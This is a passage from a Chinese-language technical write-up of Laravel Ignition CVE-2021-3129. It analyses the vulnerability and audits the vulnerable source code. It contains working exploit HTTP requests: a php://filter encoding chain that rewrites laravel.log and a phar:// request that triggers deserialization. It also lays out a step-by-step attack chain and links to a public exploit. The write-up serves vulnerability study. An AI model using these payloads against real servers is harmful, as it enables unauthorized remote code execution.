Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

最后触发反序列化,执行payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 210

{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}

漏洞原理

最最核心的原理还是反序列化,但是每一个反序列化都有着花里胡哨的入口。前几天做测试的时候发现低权限用户的操作被记录在日志中,可以被管理员审计。当时想着看能不能弹个框什么的,但是过滤做的挺好也没成功。这个漏洞给了不少思路,攻击者可以将几乎任意字符写在日志中,并且触发发序列化实现远程代码执行。

在这其中,涉及到了编码与解码,不同字符在这其中的处理方式给了利用本漏洞的机会。我用一道CTF题来举例子。

1
2
3
4
<?PHP
#it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache.
($_=@$_GET['orange']) && @substr(file($_)[0], 0, 6) == '@<?php' ? include($_) : highlight_file(__FILE__);
?>

通过session.upload生成的session文件的开头为upload_progress_,并不符合题目要求。但是在PHP中,base64会自动忽略非法字符。给上传的文件名前面加上“ZZ”这两个字符,前缀拼接上ZZ成为upload_progress_ZZ,这个前缀在解码三次之后都会变成非法字符,导致前缀整个消失。基于这个特性就可以绕过限制,匹配@<?php

同样把思路拽回到这个漏洞当中来,本来日志文件的格式是不符合命令执行格式的,通过编码解码的特点,将多余的字符消去剩下可执行格式,完成反序列化。

我们看一下报错响应,发送的json数据中的viewFile参数值被写入的log中。

从服务器直接打开log文件,所有的绿色的部分为写入log文件的部分。

接下来就是沿用CTF题目的思路往下,将log文件变成一个phar文件,配合phar伪协议执行反序列化。但是其中还有几个需要处理的问题。

首先上面说的base64在解码的时候会忽略掉非法字符,但是不会忽略的”=“。如果在使用base64解码的字符串中含有等于号,会造成报错返回空值。我们所注入的内容在日志中只占很小一部分,很难测试出一组合适的拼接字符,在特定次数的base64解码后让多余字符消失。

而且还有一个问题,日志前面的时间不可控,进行解码之后的内容也就不可控。

1
2
3
4
php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

还有,报错日志中包含了绝对路径,所以不能使用一个payload通杀,需要针对每一个目标生成一个新的payload。

还有还有,我们注入的payload会在日志中出现两次。

最终的日志格式应该是

[prefix] payload [midfix] payload [suffix]

现在我们对log记录机制个格式有一个大致的了解,接下来就是解决这些困难的方法。首先上面提到应为不合法字符的存在,会导致base64解码跳过。利用这个机制,我们可以清空日志文件。

使用utf-16和utf-8两种编码相互转换,导致出错从而清空日志文件。并且因为日志中会出现两次payload,而UTF-16读取的是两个字节,可以在payload后面加一个字节,吞掉第二次出现的payload。注意这里有个小细节,当payload是奇数的时候第二个payload会正常解码,反之是第一个。

来回转换后除了payload以外的字符都不是base64解码的合法字符了,然后使用base64解码就可以只剩下payload存在。

但是这样我们相当于将一个字节的utf-8编码扩展为了两个字节的utf-16编码,默认使用了空字节来填充。但是在file_get_contents中使用空字节会报错。

1
PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1

很幸运php提供给了我们解决方法。使用convert.quoted-printable-decode过滤器可以将空字符”\00”编码为”=00”写入log中,并且也有对应的解码器convert.quoted-printable-decode将其解码。

最终的编码/转码链如下。

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

最终梳理一下攻击链

  1. 利用UTF-8与UTF-16的相互转换加上base64解码,将日志清空。
  2. 给payload加上一个前缀AA,为了对齐两个比特。
  3. 将payload写入到log中。
  4. 重复第一步,清除非payload部分,只留下遵守base64编码的payload。
  5. 使用phar伪协议触发反序列化实现命令执行。

代码审计

vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

namespace Facade\\Ignition\\Http\\Controllers;

use Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest;
use Facade\\IgnitionContracts\\SolutionProviderRepository;
use Illuminate\\Foundation\\Validation\\ValidatesRequests;

class ExecuteSolutionController
{
use ValidatesRequests;

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', []));

return response('');
}
}

solution调用了run方法,并传参parameters。这里就是传入点,并没做任何过滤。跟进solution方法的run函数。

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

参数传入了run函数之后也没有进行过滤,传入了makeOptional函数中。之后又被当作了file_get_contents的参数执行,被执行的参数为传入的json格式数据的viewFile参数,最终导致了反序列化漏洞的发生。

EXP

最后附上crisprss师傅的exp:https://github.com/crisprss/Laravel_CVE-2021-3129_EXP